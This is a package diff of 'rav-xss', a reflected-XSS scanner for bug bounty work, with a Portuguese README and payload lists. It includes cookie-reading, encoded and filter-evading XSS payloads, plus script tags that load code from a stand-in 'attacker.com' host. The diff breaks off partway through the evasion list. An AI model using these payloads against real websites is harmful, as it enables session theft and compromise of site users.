rav-xss 1.0.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +449 -0
- package/package.json +41 -0
- package/payloads/Basic/basic.txt +35 -0
- package/payloads/FilterEvasion/evasion.txt +20 -0
- package/payloads/Polyglots/polyglots.txt +11 -0
- package/payloads/PureReflex/reflex.txt +222 -0
- package/payloads/WAFBypass/wafbypass.txt +12 -0
- package/src/cli/args.js +57 -0
- package/src/cli/help.js +31 -0
- package/src/cli/wizard.js +196 -0
- package/src/config/colors.js +83 -0
- package/src/config/manager.js +112 -0
- package/src/core/browser.js +430 -0
- package/src/core/scanner.js +778 -0
- package/src/index.js +113 -0
- package/src/media/ravxss.png +0 -0
- package/src/utils/box.js +266 -0
- package/src/utils/helpers.js +22 -0
- package/src/utils/logger.js +44 -0
- package/src/utils/packageInfo.js +192 -0
- package/src/utils/reporter.js +56 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 RavenaStar
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,449 @@
|
|
|
1
|
+
<div align="center">
|
|
2
|
+
|
|
3
|
+
<a href="https://www.npmjs.com/package/rav-xss" target="_blank"><img src="https://img.shields.io/badge/-rav--xss-c40404?style=flat-square&labelColor=c40404&logo=npm&logoColor=white&link=https://www.npmjs.com/package/rav-xss" height="40" /></a>
|
|
4
|
+
<a href="https://www.npmjs.com/package/rav-xss" target="_blank"><img alt="NPM Version" src="https://img.shields.io/npm/v/rav-xss?style=flat-square&logo=npm&labelColor=c40404&color=c40404" height="40" ></a>
|
|
5
|
+
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# 🛡️ RAV XSS
|
|
9
|
+
### 🎯 Basic Reflected XSS scanner for bug bounty programs.
|
|
10
|
+
|
|
11
|
+
[](https://github.com/ravenastar-js/rav-xss/stargazers)
|
|
12
|
+
[](https://github.com/ravenastar-js/rav-xss/network/members)
|
|
13
|
+
[](https://github.com/ravenastar-js/rav-xss/watchers)
|
|
14
|
+
[](https://github.com/ravenastar-js/rav-xss/blob/main/LICENSE)
|
|
15
|
+
[](https://github.com/ravenastar-js/rav-xss/commits/main)
|
|
16
|
+
[](https://github.com/ravenastar-js/rav-xss)
|
|
17
|
+
[](https://nodejs.org/pt/download)
|
|
18
|
+
|
|
19
|
+

|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
</div>
|
|
24
|
+
|
|
25
|
+
## 📞 Suporte
|
|
26
|
+
|
|
27
|
+
Se precisar de ajuda ou quiser falar com a equipe, entre no nosso servidor de suporte:
|
|
28
|
+
|
|
29
|
+
[](https://discord.gg/FncVNprdgP)
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## 📋 Índice
|
|
34
|
+
- [🛡️ RAV XSS](#️-rav-xss)
|
|
35
|
+
- [🎯 Basic Reflected XSS scanner for bug bounty programs.](#-basic-reflected-xss-scanner-for-bug-bounty-programs)
|
|
36
|
+
- [📞 Suporte](#-suporte)
|
|
37
|
+
- [📋 Índice](#-índice)
|
|
38
|
+
- [🎯 Visão Geral](#-visão-geral)
|
|
39
|
+
- [✨ Características Principais](#-características-principais)
|
|
40
|
+
- [📦 Instalação Rápida](#-instalação-rápida)
|
|
41
|
+
- [🗑️ Desinstalar](#️-desinstalar)
|
|
42
|
+
- [🛠️ Como Usar](#️-como-usar)
|
|
43
|
+
- [Uso Básico](#uso-básico)
|
|
44
|
+
- [Menu Interativo](#menu-interativo)
|
|
45
|
+
- [Modos de Execução](#modos-de-execução)
|
|
46
|
+
- [🎛️ Opções da CLI](#️-opções-da-cli)
|
|
47
|
+
- [📂 Categorias de Payloads](#-categorias-de-payloads)
|
|
48
|
+
- [📁 Abrir Pasta de Relatórios](#-abrir-pasta-de-relatórios)
|
|
49
|
+
- [🧹 Limpar e Sair](#-limpar-e-sair)
|
|
50
|
+
- [🚀 Exemplos Práticos](#-exemplos-práticos)
|
|
51
|
+
- [1. Reconhecimento Básico](#1-reconhecimento-básico)
|
|
52
|
+
- [2. Teste com WAF Bypass](#2-teste-com-waf-bypass)
|
|
53
|
+
- [3. Delay Personalizado](#3-delay-personalizado)
|
|
54
|
+
- [4. Scan com Modo Específico](#4-scan-com-modo-específico)
|
|
55
|
+
- [5. Modo Interativo Completo](#5-modo-interativo-completo)
|
|
56
|
+
- [6. Abrir Relatórios](#6-abrir-relatórios)
|
|
57
|
+
- [📊 Relatórios](#-relatórios)
|
|
58
|
+
- [⚙️ Configuração](#️-configuração)
|
|
59
|
+
- [Wizard Interativo](#wizard-interativo)
|
|
60
|
+
- [Arquivo config.txt](#arquivo-configtxt)
|
|
61
|
+
- [Configuração Padrão (Demo)](#configuração-padrão-demo)
|
|
62
|
+
- [📱 Compatibilidade Termux](#-compatibilidade-termux)
|
|
63
|
+
- [⚠️ Aviso Legal](#️-aviso-legal)
|
|
64
|
+
- [Star History](#star-history)
|
|
65
|
+
- [Feito com 💚 por RavenaStar](#feito-com--por-ravenastar)
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
## 🎯 Visão Geral
|
|
70
|
+
|
|
71
|
+
O **RAV XSS** é uma ferramenta básica para detecção de Reflected XSS, projetada para programas de Bug Bounty.
|
|
72
|
+
|
|
73
|
+
### ✨ Características Principais
|
|
74
|
+
- 🎯 **Categorias organizadas** — Payloads separados por tipo de ataque
|
|
75
|
+
- 🖥️ **Menu interativo** — Seleção de categorias e modos com setas do teclado
|
|
76
|
+
- 🔄 **Modos de execução** — Axios (rápido) ou Playwright (navegador real)
|
|
77
|
+
- 📱 **Compatível com Termux** — Detecta e adapta automaticamente para Android
|
|
78
|
+
- 🌐 **Detecção por reflexão** — Identifica payloads refletidos na resposta HTTP
|
|
79
|
+
- 📊 **Relatórios detalhados** — Geração automática de reports
|
|
80
|
+
- 📁 **Abrir relatórios** — Comando rápido para abrir a pasta de reports
|
|
81
|
+
- 🧹 **Limpeza segura** — Opção de limpar configs e reports com confirmação
|
|
82
|
+
- ⚡ **Requisições concorrentes** — Scanning rápido e configurável
|
|
83
|
+
- 🎨 **Interface colorida** — Banner ASCII art e boxes estilizados
|
|
84
|
+
- 📄 **Suporte a config.txt** — Configuração via arquivo externo
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## 📦 Instalação Rápida
|
|
89
|
+
|
|
90
|
+
<details>
|
|
91
|
+
<summary>📥 Como instalar o NodeJS?</summary>
|
|
92
|
+
|
|
93
|
+
- [COMO INSTALAR NODE JS NO WINDOWS?](https://youtu.be/-jft_9PlffQ)
|
|
94
|
+
</details>
|
|
95
|
+
|
|
96
|
+
```
|
|
97
|
+
# Instalar globalmente
|
|
98
|
+
npm i -g rav-xss # ✅ Recomendado
|
|
99
|
+
npm install -g rav-xss # ✅ Completo
|
|
100
|
+
|
|
101
|
+
# Ou usar diretamente com npx
|
|
102
|
+
npx rav-xss --url "https://example.com/page?q=[XSS]"
|
|
103
|
+
|
|
104
|
+
# Clonar e instalar localmente
|
|
105
|
+
git clone https://github.com/ravenastar-js/rav-xss.git
|
|
106
|
+
cd rav-xss
|
|
107
|
+
npm install
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 🗑️ Desinstalar
|
|
113
|
+
|
|
114
|
+
```
|
|
115
|
+
npm un -g rav-xss # ✅ Recomendado
|
|
116
|
+
npm uninstall -g rav-xss # ✅ Completo
|
|
117
|
+
npm remove -g rav-xss # ✅ Alternativo
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## 🛠️ Como Usar
|
|
123
|
+
|
|
124
|
+
### Uso Básico
|
|
125
|
+
|
|
126
|
+
```
|
|
127
|
+
# Modo interativo (recomendado)
|
|
128
|
+
rav-xss
|
|
129
|
+
|
|
130
|
+
# Com argumentos CLI
|
|
131
|
+
rav-xss --url "https://example.com/page?q=[XSS]" --category Basic
|
|
132
|
+
|
|
133
|
+
# Com verbose para debug
|
|
134
|
+
rav-xss --url "https://example.com/page?q=[XSS]" --category Basic --verbose
|
|
135
|
+
|
|
136
|
+
# Abrir pasta de relatórios
|
|
137
|
+
rav-xss --open-reports
|
|
138
|
+
rav-xss -r
|
|
139
|
+
|
|
140
|
+
# Limpar configurações (via menu interativo)
|
|
141
|
+
rav-xss
|
|
142
|
+
# Selecionar "🧹 Clean and Exit" no menu
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### Menu Interativo
|
|
146
|
+
|
|
147
|
+
Ao executar sem argumentos, o fluxo interativo é:
|
|
148
|
+
|
|
149
|
+
**Passo 1 — Selecionar Categoria:**
|
|
150
|
+
```
|
|
151
|
+
🎯 SELECT PAYLOAD CATEGORY
|
|
152
|
+
|
|
153
|
+
───────────────────────────────────────────────────────
|
|
154
|
+
🔰 Basic Payloads — Standard HTML tags & events
|
|
155
|
+
🛡️ Filter Evasion — Encoding, null bytes, obfuscation
|
|
156
|
+
🎭 Polyglots — Multi-context payloads
|
|
157
|
+
🔥 WAF Bypass — Cloudflare, ModSecurity evasion
|
|
158
|
+
💎 Pure Reflex — Reflected-only payloads
|
|
159
|
+
───────────────────────────────────────────────────────
|
|
160
|
+
🎯 Configure Target URL
|
|
161
|
+
🧹 Clean and Exit
|
|
162
|
+
❌ Exit
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
**Passo 2 — Selecionar Modo de Execução:**
|
|
166
|
+
```
|
|
167
|
+
🔄 SELECT EXECUTION MODE
|
|
168
|
+
|
|
169
|
+
───────────────────────────────────────────────────────
|
|
170
|
+
⚡ Axios Mode — Fast HTTP requests (recommended)
|
|
171
|
+
🌐 Playwright Mode — Real browser automation (slower)
|
|
172
|
+
───────────────────────────────────────────────────────
|
|
173
|
+
⮘ Back to Categories
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
**Passo 3 — Configurar URL (se necessário):**
|
|
177
|
+
```
|
|
178
|
+
🌐 CONFIGURE TARGET URL
|
|
179
|
+
💡 Demo target: http://www.sudo.co.il/xss/level0.php?email=[XSS]
|
|
180
|
+
🔄 Mode: ⚡ Axios
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
### Modos de Execução
|
|
184
|
+
|
|
185
|
+
| Modo | Ícone | Descrição | Velocidade | Dependências |
|
|
186
|
+
|------|-------|-----------|------------|--------------|
|
|
187
|
+
| **Axios** | ⚡ | Requisições HTTP diretas | ⚡ Rápido | Nenhuma extra |
|
|
188
|
+
| **Playwright** | 🌐 | Automação de navegador real | 🐢 Lento | `npx playwright install` |
|
|
189
|
+
|
|
190
|
+
> 📱 **Termux/Android:** O modo Playwright é desativado automaticamente. Apenas Axios fica disponível.
|
|
191
|
+
|
|
192
|
+
---
|
|
193
|
+
|
|
194
|
+
## 🎛️ Opções da CLI
|
|
195
|
+
|
|
196
|
+
| Opção | Atalho | Descrição | Padrão |
|
|
197
|
+
|-------|--------|-----------|--------|
|
|
198
|
+
| `--url` | - | 🌐 URL alvo com placeholder `[XSS]` | Demo URL |
|
|
199
|
+
| `--category` | - | 📂 Categoria de payloads | Menu interativo |
|
|
200
|
+
| `--mode` | - | 🔄 Modo de execução (`axios` ou `playwright`) | Menu interativo |
|
|
201
|
+
| `--delay` | - | ⏱️ Delay entre requisições (ms) | `500` |
|
|
202
|
+
| `--verbose` | `-v` | 📢 Log detalhado | `false` |
|
|
203
|
+
| `--help` | `-h` | ❓ Mostrar ajuda | - |
|
|
204
|
+
| `--configure` | - | ⚙️ Wizard de configuração | - |
|
|
205
|
+
| `--open-reports` | `-r` | 📁 Abrir pasta de relatórios | - |
|
|
206
|
+
| `--headed` | - | 🖥️ Abrir navegador visível (modo Playwright) | `false` |
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## 📂 Categorias de Payloads
|
|
211
|
+
|
|
212
|
+
| Categoria | Ícone | Descrição |
|
|
213
|
+
|-----------|-------|-----------|
|
|
214
|
+
| **Basic Payloads** | 🔰 | Standard HTML tags & events |
|
|
215
|
+
| **Filter Evasion** | 🛡️ | Encoding, null bytes, obfuscation |
|
|
216
|
+
| **Polyglots** | 🎭 | Multi-context payloads |
|
|
217
|
+
| **WAF Bypass** | 🔥 | Cloudflare, ModSecurity evasion |
|
|
218
|
+
| **Pure Reflex** | 💎 | Reflected-only, no template injection |
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## 📁 Abrir Pasta de Relatórios
|
|
223
|
+
|
|
224
|
+
Após executar os scans, você pode abrir rapidamente a pasta de relatórios:
|
|
225
|
+
|
|
226
|
+
```
|
|
227
|
+
# Abre a pasta reports no explorador de arquivos
|
|
228
|
+
rav-xss --open-reports
|
|
229
|
+
|
|
230
|
+
# Atalho
|
|
231
|
+
rav-xss -r
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
**Comportamento por sistema:**
|
|
235
|
+
| Sistema | Ação |
|
|
236
|
+
|---------|------|
|
|
237
|
+
| 🪟 Windows | Abre o Explorer na pasta `reports/` |
|
|
238
|
+
| 🍎 macOS | Abre o Finder na pasta `reports/` |
|
|
239
|
+
| 🐧 Linux | Abre o gerenciador de arquivos padrão |
|
|
240
|
+
|
|
241
|
+
> 💡 Se a pasta `reports/` ainda não existir, ela será criada automaticamente.
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## 🧹 Limpar e Sair
|
|
246
|
+
|
|
247
|
+
Opção disponível no menu interativo principal que permite limpar todos os arquivos de configuração e relatórios:
|
|
248
|
+
|
|
249
|
+
```
|
|
250
|
+
🧹 Clean and Exit
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
**Comportamento:**
|
|
254
|
+
1. Exibe mensagem de confirmação: `⚠️ This will DELETE all config files and reports. Continue? (y/N)`
|
|
255
|
+
2. Se confirmado, remove:
|
|
256
|
+
- `config.json` (raiz do projeto e diretório atual)
|
|
257
|
+
- `config.txt` (raiz do projeto e diretório atual)
|
|
258
|
+
- Pasta `reports/` com todo seu conteúdo
|
|
259
|
+
3. Exibe resumo do que foi removido
|
|
260
|
+
4. Exibe tela de despedida e encerra
|
|
261
|
+
|
|
262
|
+
> 🛡️ **Segurança:** Requer confirmação explícita para evitar exclusão acidental.
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## 🚀 Exemplos Práticos
|
|
267
|
+
|
|
268
|
+
### 1. Reconhecimento Básico
|
|
269
|
+
|
|
270
|
+
```
|
|
271
|
+
rav-xss --url "https://example.com/search?q=[XSS]" --category Basic
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
### 2. Teste com WAF Bypass
|
|
275
|
+
|
|
276
|
+
```
|
|
277
|
+
rav-xss --url "https://example.com/search?q=[XSS]" --category WAFBypass --verbose
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
### 3. Delay Personalizado
|
|
281
|
+
|
|
282
|
+
```
|
|
283
|
+
rav-xss --url "https://example.com/search?q=[XSS]" --category FilterEvasion --delay 1000
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
### 4. Scan com Modo Específico
|
|
287
|
+
|
|
288
|
+
```
|
|
289
|
+
# Usando Axios (rápido)
|
|
290
|
+
rav-xss --url "https://example.com/page?q=[XSS]" --category Basic --mode axios
|
|
291
|
+
|
|
292
|
+
# Usando Playwright (navegador real)
|
|
293
|
+
rav-xss --url "https://example.com/page?q=[XSS]" --category Basic --mode playwright
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
### 5. Modo Interativo Completo
|
|
297
|
+
|
|
298
|
+
```
|
|
299
|
+
rav-xss
|
|
300
|
+
# 1. Selecionar categoria com setas → Enter
|
|
301
|
+
# 2. Selecionar modo (Axios ou Playwright) → Enter
|
|
302
|
+
# 3. Digitar URL (ou usar demo) → Enter
|
|
303
|
+
# 4. Scan executa automaticamente
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
### 6. Abrir Relatórios
|
|
307
|
+
|
|
308
|
+
```
|
|
309
|
+
rav-xss -r
|
|
310
|
+
# Abre a pasta com todos os reports gerados
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
---
|
|
314
|
+
|
|
315
|
+
## 📊 Relatórios
|
|
316
|
+
|
|
317
|
+
Após o scan, um relatório é gerado na pasta `reports/`:
|
|
318
|
+
|
|
319
|
+
```
|
|
320
|
+
reports/
|
|
321
|
+
└── xss_report_2026-05-06T12-00-00-000Z.txt
|
|
322
|
+
```
|
|
323
|
+
|
|
324
|
+
**Conteúdo do relatório:**
|
|
325
|
+
- 📅 Data e hora do scan
|
|
326
|
+
- 🌐 URL alvo testada
|
|
327
|
+
- ⏱️ Duração total
|
|
328
|
+
- 📊 Total de testes realizados
|
|
329
|
+
- ⚠️ Vulnerabilidades encontradas
|
|
330
|
+
- 📝 Lista detalhada de cada finding com URL completa
|
|
331
|
+
|
|
332
|
+
---
|
|
333
|
+
|
|
334
|
+
## ⚙️ Configuração
|
|
335
|
+
|
|
336
|
+
### Wizard Interativo
|
|
337
|
+
|
|
338
|
+
```
|
|
339
|
+
rav-xss --configure
|
|
340
|
+
npm run configure
|
|
341
|
+
```
|
|
342
|
+
|
|
343
|
+
O wizard guia você através de:
|
|
344
|
+
1. 📋 Nome do target
|
|
345
|
+
2. 🌐 URL alvo (com placeholder `[XSS]`)
|
|
346
|
+
3. ⏱️ Timeout das requisições
|
|
347
|
+
4. ⏳ Delay entre requisições
|
|
348
|
+
5. 🔄 Modo de execução (Axios/Playwright)
|
|
349
|
+
6. 👁️ Mostrar resultados não-vulneráveis
|
|
350
|
+
|
|
351
|
+
### Arquivo config.txt
|
|
352
|
+
|
|
353
|
+
Você pode criar um arquivo `config.txt` na raiz do projeto com:
|
|
354
|
+
|
|
355
|
+
```
|
|
356
|
+
# RAV XSS Configuration
|
|
357
|
+
target=http://www.sudo.co.il/xss/level0.php?email=[XSS]
|
|
358
|
+
delay=500
|
|
359
|
+
mode=axios
|
|
360
|
+
timeout=8000
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
**Parâmetros suportados:**
|
|
364
|
+
| Parâmetro | Descrição | Exemplo |
|
|
365
|
+
|-----------|-----------|---------|
|
|
366
|
+
| `target` | 🌐 URL alvo com `[XSS]` | `target=https://example.com/?q=[XSS]` |
|
|
367
|
+
| `delay` | ⏳ Delay em ms | `delay=1000` |
|
|
368
|
+
| `mode` | 🔄 Modo (`axios`/`playwright`) | `mode=axios` |
|
|
369
|
+
| `timeout` | ⏱️ Timeout em ms | `timeout=8000` |
|
|
370
|
+
| `verbose` | 📢 Modo verbose | `verbose=true` |
|
|
371
|
+
| `user_agent` | 🕵️ User-Agent customizado | `user_agent=Mozilla/5.0...` |
|
|
372
|
+
|
|
373
|
+
> 💡 O arquivo `config.txt` tem prioridade sobre `config.json` quando ambos existem.
|
|
374
|
+
|
|
375
|
+
### Configuração Padrão (Demo)
|
|
376
|
+
|
|
377
|
+
Se nenhuma configuração for fornecida, o scanner usa este alvo demo para testes:
|
|
378
|
+
|
|
379
|
+
```
|
|
380
|
+
🌐 Demo Target:
|
|
381
|
+
http://www.sudo.co.il/xss/level0.php?email=[XSS]
|
|
382
|
+
|
|
383
|
+
📝 Descrição: Página pública de teste XSS
|
|
384
|
+
🔄 Modo padrão: Axios
|
|
385
|
+
⏳ Delay padrão: 500ms
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
---
|
|
389
|
+
|
|
390
|
+
## 📱 Compatibilidade Termux
|
|
391
|
+
|
|
392
|
+
O **RAV XSS** detecta automaticamente quando está rodando no Termux (Android) e se adapta:
|
|
393
|
+
|
|
394
|
+
| Recurso | Desktop | Termux |
|
|
395
|
+
|---------|---------|--------|
|
|
396
|
+
| 🔰 Modo Axios | ✅ Disponível | ✅ Disponível |
|
|
397
|
+
| 🌐 Modo Playwright | ✅ Disponível | ❌ Desativado |
|
|
398
|
+
| 🧙♂️ Wizard | ✅ Completo | ✅ Adaptado |
|
|
399
|
+
| 📁 Relatórios | ✅ Normal | ✅ Normal |
|
|
400
|
+
|
|
401
|
+
**Detecção automática:**
|
|
402
|
+
- Verifica variável `TERMUX_VERSION`
|
|
403
|
+
- Verifica prefixo `com.termux`
|
|
404
|
+
- Verifica hostname (`termux`/`android`)
|
|
405
|
+
- Verifica existência de `/data/data/com.termux`
|
|
406
|
+
|
|
407
|
+
> 📱 No Termux, o menu de modo é pulado e Axios é selecionado automaticamente.
|
|
408
|
+
|
|
409
|
+
---
|
|
410
|
+
|
|
411
|
+
## ⚠️ Aviso Legal
|
|
412
|
+
|
|
413
|
+
Esta ferramenta é destinada para:
|
|
414
|
+
|
|
415
|
+
- ✅ **Testes de segurança autorizados** — Apenas teste sistemas que você possui ou tem permissão explícita para testar
|
|
416
|
+
- ✅ **Programas de Bug Bounty** — Use apenas dentro do escopo definido pelo programa
|
|
417
|
+
- ✅ **Fins educacionais** — Aprendizado sobre vulnerabilidades XSS em ambientes controlados
|
|
418
|
+
|
|
419
|
+
**Você é responsável por:**
|
|
420
|
+
|
|
421
|
+
- 🚫 **Testes não autorizados são ilegais** — Não escaneie sites sem permissão
|
|
422
|
+
- 🚫 **Siga a divulgação responsável** — Reporte vulnerabilidades pelos canais apropriados
|
|
423
|
+
- 🚫 **Cumpra as leis** — Certifique-se de que seu uso está em conformidade com as leis locais e internacionais
|
|
424
|
+
|
|
425
|
+
> This tool is provided for educational and authorized security testing purposes only. Users are solely responsible for complying with all applicable laws and regulations. The authors assume no liability for misuse or damage caused by this tool.
|
|
426
|
+
|
|
427
|
+
**Ao usar esta ferramenta, você concorda em usá-la apenas em sistemas que está autorizado a testar.**
|
|
428
|
+
|
|
429
|
+
---
|
|
430
|
+
|
|
431
|
+
## Star History
|
|
432
|
+
|
|
433
|
+
<a href="https://www.star-history.com/#ravenastar-js/rav-xss&Date">
|
|
434
|
+
<picture>
|
|
435
|
+
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=ravenastar-js/rav-xss&type=Date&theme=dark" />
|
|
436
|
+
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=ravenastar-js/rav-xss&type=Date" />
|
|
437
|
+
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=ravenastar-js/rav-xss&type=Date" />
|
|
438
|
+
</picture>
|
|
439
|
+
</a>
|
|
440
|
+
|
|
441
|
+
---
|
|
442
|
+
|
|
443
|
+
<div align="center">
|
|
444
|
+
|
|
445
|
+
## Feito com 💚 por [RavenaStar](https://linktr.ee/ravenastar)
|
|
446
|
+
|
|
447
|
+
[⬆ Voltar ao topo](#-rav-xss)
|
|
448
|
+
|
|
449
|
+
</div>
|
package/package.json
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "rav-xss",
|
|
3
|
+
"version": "1.0.28",
|
|
4
|
+
"description": "⚙️ CLI/NPM | RAV XSS | 🎯 Basic Reflected XSS scanner for bug bounty programs.",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"rav-xss": "src/index.js"
|
|
8
|
+
},
|
|
9
|
+
"files": [
|
|
10
|
+
"src/",
|
|
11
|
+
"payloads/",
|
|
12
|
+
"config.json",
|
|
13
|
+
"README.md",
|
|
14
|
+
"LICENSE"
|
|
15
|
+
],
|
|
16
|
+
"scripts": {
|
|
17
|
+
"scan": "node src/index.js",
|
|
18
|
+
"configure": "node src/index.js --configure",
|
|
19
|
+
"dev": "node src/index.js --verbose"
|
|
20
|
+
},
|
|
21
|
+
"keywords": [
|
|
22
|
+
"xss",
|
|
23
|
+
"security",
|
|
24
|
+
"bug-bounty",
|
|
25
|
+
"scanner",
|
|
26
|
+
"reflected-xss",
|
|
27
|
+
"rav-xss",
|
|
28
|
+
"ravenastar"
|
|
29
|
+
],
|
|
30
|
+
"author": "RavenaStar",
|
|
31
|
+
"license": "MIT",
|
|
32
|
+
"dependencies": {
|
|
33
|
+
"axios": "^1.6.2",
|
|
34
|
+
"boxen": "^5.1.2",
|
|
35
|
+
"chalk": "^4.1.2",
|
|
36
|
+
"figlet": "^1.7.0",
|
|
37
|
+
"inquirer": "^8.2.6",
|
|
38
|
+
"open": "^8.4.2",
|
|
39
|
+
"ora": "^5.4.1"
|
|
40
|
+
}
|
|
41
|
+
}
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
<script>alert(1)</script>
|
|
2
|
+
<script>alert('XSS')</script>
|
|
3
|
+
<script>alert("XSS")</script>
|
|
4
|
+
<script>alert(document.cookie)</script>
|
|
5
|
+
<script>alert(window.location)</script>
|
|
6
|
+
<SCRIPT>alert(1)</SCRIPT>
|
|
7
|
+
<ScRiPt>alert(1)</sCrIpT>
|
|
8
|
+
<script>confirm(1)</script>
|
|
9
|
+
<script>prompt(1)</script>
|
|
10
|
+
<script src="http://attacker.com/xss.js"></script>
|
|
11
|
+
<script/src="http://attacker.com/xss.js"></script>
|
|
12
|
+
<script>eval(atob('YWxlcnQoMSk='))</script>
|
|
13
|
+
<script>setTimeout(function(){alert(1)},100)</script>
|
|
14
|
+
<script>/* */alert(1)//</script>
|
|
15
|
+
<script>
|
|
16
|
+
alert(1)
|
|
17
|
+
</script>
|
|
18
|
+
<img src=x onerror=alert(1)>
|
|
19
|
+
<img src=x onerror=alert('XSS')>
|
|
20
|
+
<img src=1 href=1 onerror="javascript:alert(1)">
|
|
21
|
+
<svg/onload=alert(1)>
|
|
22
|
+
<body onload=alert(1)>
|
|
23
|
+
<iframe onload=alert(1)></iframe>
|
|
24
|
+
<input type="text" onfocus="alert(1)" autofocus>
|
|
25
|
+
<input onblur=alert(1) autofocus><input autofocus>
|
|
26
|
+
<select onchange=alert(1)><option>1</option><option>2</option></select>
|
|
27
|
+
<textarea oninput=alert(1)></textarea>
|
|
28
|
+
<form onsubmit=alert(1)><button>Submit</button></form>
|
|
29
|
+
<a href="javascript:alert(1)">Click me</a>
|
|
30
|
+
<a onmouseover=alert(1)>Hover me</a>
|
|
31
|
+
<button onclick=alert(1)>Click me</button>
|
|
32
|
+
<details ontoggle=alert(1)>Toggle me</details>
|
|
33
|
+
<video src=x onerror=alert(1)></video>
|
|
34
|
+
<audio src=x onerror=alert(1)></audio>
|
|
35
|
+
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
%3Cscript%3Ealert(1)%3C%2Fscript%3E
|
|
2
|
+
<script>alert(1)</script>
|
|
3
|
+
<script>alert(1)</script>
|
|
4
|
+
%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
|
|
5
|
+
\u003cscript\u003ealert(1)\u003c/script\u003e
|
|
6
|
+
\x3cscript\x3ealert(1)\x3c/script\x3e
|
|
7
|
+
%253Cscript%253Ealert(1)%253C%252Fscript%253E
|
|
8
|
+
(alert)(1)
|
|
9
|
+
<a href="javascript:alert(1)">Click</a>
|
|
10
|
+
<a href="javascript:alert(1)">Click</a>
|
|
11
|
+
<img src=x onerror=javascript:alert(1)>
|
|
12
|
+
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
|
|
13
|
+
<img src=x onerror=Function("ale"+"rt(1)")()>
|
|
14
|
+
<img src=x onerror=this['al'+'ert'](1)>
|
|
15
|
+
<script> (0,eval)('alert(1)') </script>
|
|
16
|
+
<script>
|
|
17
|
+
